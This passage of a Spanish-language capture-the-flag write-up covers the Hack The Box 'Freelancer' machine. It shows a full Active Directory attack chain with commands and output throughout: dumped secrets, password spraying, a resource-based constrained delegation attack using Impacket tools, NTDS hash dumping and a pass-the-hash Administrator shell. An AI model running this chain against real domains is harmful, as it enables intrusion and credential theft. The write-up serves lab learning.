$MACHINE.ACC:plain_password_hex:a680a4af30e045066419c6f52c073d738241fa9d1cff591b951535cff5320b109e65220c1c9e4fa891c9d1ee22e990c4766b3eb63fb3e2da67ebd19830d45c0ba4e6e6df93180c0a7449750655edd78eb848f757689a6889f3f8f7f6cf53e1196a528a7cd105a2eccefb2a17ae5aebf84902e3266bbc5db6e371627bb0828c2a364cb01119cf3d2c70d920328c814cad07f2b516143d86d0e88ef1504067815ed70e9ccb861f57394d94ba9f77198e9d76ecadf8cdb1afda48b81f81d84ac62530389cb64d412b784f0f733551a62ec0862ac2fb261b43d79990d4e2bfbf4d7d4eeb90ccd7dc9b482028c2143c5a6010
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:1003ddfa0a470017188b719e1eaae709
[*] DPAPI_SYSTEM
dpapi_machinekey:0xcf1bc407d272ade7e781f17f6f3a3fc2b82d16bc
dpapi_userkey:0x6d210ab98889fac8829a1526a5d6a2f76f8f9d53
[*] NL$KM
 0000   63 4D 9D 4C 85 EF 33 FF  A5 E1 4D E2 DC A1 20 75   cM.L..3...M... u
 0010   D2 20 EA A9 BC E0 DB 7D  BE 77 E9 BE 6E AD 47 EC   . .....}.w..n.G.
 0020   26 02 E1 F6 BF F5 C5 CC  F9 D6 7A 16 49 1C 43 C5   &.........z.I.C.
 0030   77 6D E0 A8 C6 24 15 36  BF 27 49 96 19 B9 63 20   wm...$.6.'I...c
NL$KM:634d9d4c85ef33ffa5e14de2dca12075d220eaa9bce0db7dbe77e9be6ead47ec2602e1f6bff5c5ccf9d67a16491c43c5776de0a8c6241536bf27499619b96320
[*] _SC_MSSQL$DATA
(Unknown User):PWN3D#l0rr@Armessa199
[*] Cleaning up...

Guardo los hashes, pero ninguno de ellos funciona para conectarse con usuarios privilegiados. Por ejemplo:

❯ netexec smb 10.10.11.5 -u 'Administrator' -H '725180474a181356e53f4fe3dffac527'

SMB         10.10.11.5      445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.5      445    DC               [-] freelancer.htb\Administrator:725180474a181356e53f4fe3dffac527 STATUS_LOGON_FAILURE

Sin embargo, el final del output podemos ver una contraseña: PWN3D#l0rr@Armessa199. Si usamos, nuevamente, NetExec con nuestra lista de potenciales usuarios junto con la contraseña encontrada tenemos:

❯ netexec smb 10.10.11.5 -u users.txt -p 'PWN3D#l0rr@Armessa199' --continue-on-success

SMB         10.10.11.5      445    DC               [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.5      445    DC               [-] freelancer.htb\Administrator:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE
<SNIP>
SMB         10.10.11.5      445    DC               [-] freelancer.htb\leon.sk:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE
SMB         10.10.11.5      445    DC               [-] freelancer.htb\lkazanof:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE
SMB         10.10.11.5      445    DC               [+] freelancer.htb\lorra199:PWN3D#l0rr@Armessa199
SMB         10.10.11.5      445    DC               [-] freelancer.htb\maya.artmes:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE
SMB         10.10.11.5      445    DC               [-] freelancer.htb\michael.williams:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE
<SNIP>
SMB         10.10.11.5      445    DC               [-] freelancer.htb\wwalker:PWN3D#l0rr@Armessa199 STATUS_LOGON_FAILURE

Encontramos credenciales válidas: lorra199:PWN3D#l0rr@Armessa199

Recuerdo que este usuario es parte del grupo Remote Management Users, de manera que deberíamos de ser capaces de loguearnos con este usuario a través de WinRM:

❯ netexec winrm 10.10.11.5 -u 'lorra199' -p 'PWN3D#l0rr@Armessa199'

WINRM       10.10.11.5      5985   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:freelancer.htb)
WINRM       10.10.11.5      5985   DC               [+] freelancer.htb\lorra199:PWN3D#l0rr@Armessa199 (Pwn3d!)

Nos conectamos entonces a través de WinRM usando evil-winrm:

❯ evil-winrm -u 'lorra199' -p 'PWN3D#l0rr@Armessa199' -i 10.10.11.5

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\lorra199\Documents> whoami

freelancer\lorra199

Revisando grupos de este usuario podemos ver:

*Evil-WinRM* PS C:\Users\lorra199\Documents> net user lorra199

User name                    lorra199
Full Name
Comment                      IT Support Technician
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/4/2023 8:19:13 AM
Password expires             Never
Password changeable          10/5/2023 8:19:13 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   5/13/2024 11:12:56 AM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *Domain Users         *AD Recycle Bin
The command completed successfully.

donde el grupo AD Recycle Bin es inusual.

Para revisar privilegios en un entorno Active Directory, usaré Bloodhound. Para esto primero usamos bloodhound-python para ver la estructura del entorno AD:

❯ bloodhound-python -u lorra199 -p "PWN3D#l0rr@Armessa199" -d freelancer.htb -ns 10.10.11.5 -c all

INFO: Found AD domain: freelancer.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno Connection error (dc.freelancer.htb:88)] [Errno -2] Name or service not known
INFO: Connecting to LDAP server: dc.freelancer.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 8 computers
INFO: Connecting to LDAP server: dc.freelancer.htb
INFO: Found 30 users
INFO: Found 58 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: SetupMachine.freelancer.htb
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer:
INFO: Querying computer: Datacenter-2019
INFO: Querying computer:
INFO: Querying computer: DC.freelancer.htb
WARNING: Could not resolve: Datacenter-2019: All nameservers failed to answer the query Datacenter-2019. IN A: Server Do53:10.10.11.5@53 answered SERVFAIL
INFO: Done in 00M 35S

Luego, en Bloodhound, revisamos al usuario lorra199:

Freelancer 21

Como hemos visto previamente, este usuario es miembro del grupo AD Recycle Bin. Revisando el grupo AD Recycle Bin:

Freelancer 22

Haciendo click derecho en la conexión entre el grupo y DC, y luego en Help, muestra que podemos performar un ataque Resource-based Constrained Delegation (RBCD). Esto significa que somos capaces de agregar un computador falso al dominio y, luego, pedir el ticket Kerberos de cualquier usuario (como Administrator) al DC bajo el nombre de este computador falso.

Para empezar el ataque usamos addcomputer.py de Impacket para agregar un computador falso:

❯ python3 /usr/share/doc/python3-impacket/examples/addcomputer.py -computer-name 'ATTACKERSYSTEM$' -computer-pass 'gunzf0x123$!' -dc-host freelancer.htb -domain-netbios freelancer.htb freelancer.htb/lorra199:'PWN3D#l0rr@Armessa199'

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Successfully added machine account ATTACKERSYSTEM$ with password gunzf0x123$!.

Y le delegamos permisos sobre el dominio usando rbcd.py de Impacket:

❯ python3 /usr/share/doc/python3-impacket/examples/rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'DC$' -dc-ip 10.10.11.5 -action 'write' 'freelancer.htb/lorra199:PWN3D#l0rr@Armessa199'

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ATTACKERSYSTEM$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     ATTACKERSYSTEM$   (S-1-5-21-3542429192-2036945976-3483670807-11601)

Ahora, podemos intentar pedir los tickets del dominio. Para esto usamos getST.py de Impacket:

❯ python3 /usr/share/doc/python3-impacket/examples/getST.py -spn 'cifs/DC.freelancer.htb' -impersonate Administrator -dc-ip 10.10.11.5 'freelancer.htb/ATTACKERSYSTEM$:gunzf0x123$!'

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Pero obtengo un error. Cuando este error ocurre podemos tratar de sincronizar relojes:

❯ sudo ntpdate -s 10.10.11.5

y volver a correr:

❯ python3 /usr/share/doc/python3-impacket/examples/getST.py -spn 'cifs/DC.freelancer.htb' -impersonate Administrator -dc-ip 10.10.11.5 'freelancer.htb/ATTACKERSYSTEM$:gunzf0x123$!'

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC.freelancer.htb@FREELANCER.HTB.ccache
Nota
Puede que necesitemos correr los 2 últimos comandos múltiples veces hasta que esto funcione.

Finalmente usamos secretsdump.py y el ticket de Kerberos para dumpear todos los hashes del dominio:

❯ export KRB5CCNAME=/home/gunzf0x/HTB/HTBMachines/Hard/Freelancer/content/Administrator@cifs_DC.freelancer.htb@FREELANCER.HTB.ccache && python3 /usr/share/doc/python3-impacket/examples/secretsdump.py 'freelancer.htb/Administrator@DC.freelancer.htb' -k -no-pass -dc-ip 10.10.11.5 -target-ip 10.10.11.5 -just-dc-ntlm

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets

Administrator:500:aad3b435b51404eeaad3b435b51404ee:0039318f1e8274633445bce32ad1a290:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d238e0bfa17d575038efc070187a91c2:::
freelancer.htb\mikasaAckerman:1105:aad3b435b51404eeaad3b435b51404ee:e8d62c7d57e5d74267ab6feb2f662674:::
sshd:1108:aad3b435b51404eeaad3b435b51404ee:c1e83616271e8e17d69391bdcd335ab4:::
SQLBackupOperator:1112:aad3b435b51404eeaad3b435b51404ee:c4b746db703d1af5575b5c3d69f57bab:::
sql_svc:1114:aad3b435b51404eeaad3b435b51404ee:af7b9d0557964265115d018b5cff6f8a:::
lorra199:1116:aad3b435b51404eeaad3b435b51404ee:67d4ae78a155aab3d4aa602da518c051:::
<SNIP>
WS2-WIN11$:1157:aad3b435b51404eeaad3b435b51404ee:bf5267ee6236c86a3596f72f2ddef2da:::
WS3-WIN11$:1158:aad3b435b51404eeaad3b435b51404ee:732c190482eea7b5e6777d898e352225:::
DC2$:1159:aad3b435b51404eeaad3b435b51404ee:e1018953ffa39b3818212aba3f736c0f:::
SETUPMACHINE$:8601:aad3b435b51404eeaad3b435b51404ee:f5912663ecf2c8cbda2a4218127d11fe:::
ATTACKERSYSTEM$:12101:aad3b435b51404eeaad3b435b51404ee:ef266c6b963c0bb683941032008ad47f:::

[*] Cleaning up...

Chequeo si este hash funciona para el usuario Administrator con NetExec.

❯ netexec winrm 10.10.11.5 -u Administrator -H '0039318f1e8274633445bce32ad1a290'

WINRM       10.10.11.5      5985   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:freelancer.htb)
WINRM       10.10.11.5      5985   DC               [+] freelancer.htb\Administrator:0039318f1e8274633445bce32ad1a290 (Pwn3d!)

Y, dado que funciona, lo usamos para generar una sesión privilegiada con evil-winrm:

❯ evil-winrm -u 'Administrator' -H '0039318f1e8274633445bce32ad1a290' -i 10.10.11.5

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami

freelancer\administrator

Podemos leer la flag de root en el Desktop del usuario Administrator.

~Happy Hacking